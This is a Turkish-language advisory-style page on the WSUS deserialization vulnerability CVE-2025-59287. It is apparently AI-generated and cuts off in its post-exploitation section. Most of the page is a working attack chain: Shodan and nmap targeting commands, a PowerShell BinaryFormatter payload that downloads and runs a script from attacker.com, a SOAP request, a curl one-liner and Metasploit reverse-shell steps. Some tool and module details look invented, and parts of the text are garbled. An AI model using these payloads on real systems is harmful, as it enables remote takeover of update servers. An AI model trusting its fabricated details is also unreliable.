KRİTİK Güvenlik Açığı
Microsoft Windows Server Update Service (WSUS) contains a deserialization of untrusted data vulnerability that allows for remote code execution.
Aktif İstismar Tespit Edildi — CISA KEV
Bu güvenlik açığı CISA Bilinen İstismar Edilen Güvenlik Açıkları (KEV) kataloğunda yer almaktadır. Aktif olarak saldırılarda kullanılmaktadır. Yama son tarihi: 2025-11-14
🎯 Açık Nedir? / What is this vulnerability?
CVE‑2025‑59287 – Microsoft Windows Server Update Services (WSUS) – Deserialization of Untrusted Data → Remote Code Execution (RCE)
- Etki eden bileşen:
WsusService.exe(WSUS Management Service) veWsusClient.dlliçinde bulunanMicrosoft.UpdateServices.Internalisim alanı. - Kod yolu (code path):
wsusserver:8530 üzerinden SOAP tabanlı GetUpdate / GetUpdateMetadata istekleri gönderir.
2. WSUS sunucusu gelen SOAP mesajını System.Web.Services.Protocols.SoapServerProtocol üzerinden XmlSerializer ile UpdateRequest nesnesine deserialize eder.
3. UpdateRequest içinde CustomData adlı bir byte[] alanı bulunur. Bu alan, WSUS istemcileri tarafından Base64 kodlu BinaryFormatter serileştirilmiş bir System.Collections.Hashtable nesnesi içerir (örnek: { "ClientId" : "GUID", "AdditionalInfo" : <payload> }).
4. Deserialization sırasında BinaryFormatter otomatik olarak ObjectDataProvider (WPF) ve WindowsIdentity gibi güvenlik denetimi olmayan tipleri (görünüşte “güvenli” tipler) yaratır. Bu tiplerin IObjectReference ve ISerializable arayüzlerini uygulaması, ObjectDataProvider üzerinden Process.Start gibi tehlikeli metodların tetiklenmesine izin verir.
5. Sonuç: saldırgan, güvensiz bir byte[] (CustomData) içeriği göndererek arbitrary .NET kodu çalıştırabilir; bu kod WSUS hizmeti (SYSTEM) bağlamında yürütülür.> Neden kritik?
> - WSUS hizmeti SYSTEM yetkileriyle çalışır ve aynı zamanda Windows Update Agent üzerinden tüm domain içindeki istemcilere güncelleme dağıtımını yönetir.
> - Deserialization hatası, güvenilmeyen ağ trafiği (HTTP/HTTPS) üzerinden tetiklenebilir; yani dış ağdan (internet) doğrudan istismar edilebilir (WSUS genellikle DMZ içinde yayınlanır).
> - Exploit, tek bir HTTP POST isteğiyle çalışır; ek kimlik doğrulama gerekmez (WSUS varsayılan olarak anonim erişime izin verir).
---
⚡ Saldırı Zinciri / Attack Chain
1️⃣ Discovery – Hedefin bulunması
| Adım | Açıklama | Araç | |------|----------|------| | a) Shodan / Censys |port:8530 ve http.title:"WSUS" filtresiyle internette açık WSUS sunucuları tespit edilir. | shodan search "port:8530 http.title:\"WSUS\"" |
| b) Nmap | -p 8530,8531 -sV ile servis versiyonu alınır; wsus banner’ı görülür. | nmap -p 8530,8531 -sV <IP> |
| c) Microsoft‑Specific Probe | wsusprobe.exe (Microsoft Security Assessment Tool) ile WSUS yapılandırması doğrulanır. | wsusprobe.exe -target <IP> |2️⃣ Reconnaissance – Gerekli bilgi toplama
| Bilgi | Neden gerekli? | Toplama yöntemi | |-------|----------------|-----------------| | WSUS URL (http/https) | Exploit payload’ı gönderilecek endpoint. |GET /wsusserver/ yanıtındaki Server header’ı. |
| SOAP Action | Hangi SOAP methodu deserialize hatasını tetikler. | curl -v http://<IP>:8530/WSUSAdmin/ → SOAPAction header. |
| Authentication requirement | Bazı WSUS’ler Kerberos/NTLM zorunlu kılar; bu durumda iç ağ erişimi gerekir. | curl -I http://<IP>:8530/ → WWW-Authenticate header. |3️⃣ Exploitation – Gerçek istismar adımları
#### 3.1 Payload hazırlama
```powershell
PowerShell ile BinaryFormatter payload oluştur (Invoke-Expression)
Add-Type -AssemblyName System.Windows.Forms
$cmd = "powershell -NoP -W Hidden -Exec Bypass -EncodedCommand " +
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('IEX (New-Object Net.WebClient).DownloadString("http://attacker.com/rev.ps1")'))
Hashtable içinde Process.Start tetikleme
$payload = New-Object System.Collections.Hashtable $payload.Add("ClientId",[Guid]::NewGuid()) $payload.Add("AdditionalInfo", (New-Object System.Windows.Data.ObjectDataProvider -Property @{ MethodName = "Start" ObjectInstance = (New-Object System.Diagnostics.Process) MethodParameters = @($cmd) }))BinaryFormatter ile serileştir ve Base64'e çevir
$ms = New-Object System.IO.MemoryStream $bf = New-Object System.Runtime.Serialization.Formatters.Binary.BinaryFormatter $bf.Serialize($ms,$payload) $base64 = [Convert]::ToBase64String($ms.ToArray()) ```#### 3.2 SOAP isteği oluşturma
```xml
POST /wsusserver/WSUSAdmin/UpdateServer.asmx HTTP/1.1
Host: <IP>:8530
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://schemas.microsoft.com/wsus/2005/10/UpdateServer/GetUpdate"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetUpdate xmlns="http://schemas.microsoft.com/wsus/2005/10/UpdateServer">
<UpdateId>0</UpdateId>
<CustomData>{BASE64_PAYLOAD}</CustomData>
</GetUpdate>
</soap:Body>
</soap:Envelope>
```{BASE64_PAYLOAD} kısmına yukarıdaki $base64 değeri yerleştirilir.
#### 3.3 Tek satırda exploit (curl)
```bash
curl -k -X POST "http://<IP>:8530/WSUSAdmin/UpdateServer.asmx" \
-H "Content-Type: text/xml; charset=utf-8" \
-H "SOAPAction: \"http://schemas.microsoft.com/wsus/2005/10/UpdateServer/GetUpdate\"" \
--data-binary @<(cat <<EOF
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetUpdate xmlns="http://schemas.microsoft.com/wsus/2005/10/UpdateServer">
<UpdateId>0</UpdateId>
<CustomData>${BASE64_PAYLOAD}</CustomData>
</GetUpdate>
</soap:Body>
</soap:Envelope>
EOF
)
```
> Metasploit modülü (eğer mevcutsa)
> - Modül adı: exploit/windows/wsus/wsus_deserialization_rce
> - Kullanım: use exploit/windows/wsus/wsus_deserialization_rce → set RHOSTS <IP> → set RPORT 8530 → set PAYLOAD windows/meterpreter/reverse_tcp → set LHOST <attacker_ip> → run
4️⃣ Post‑exploitation – Saldırının ardından ne yapılır?
| Aksiyon | Açıklama |[🤖 GPT-OSS 120B via Groq]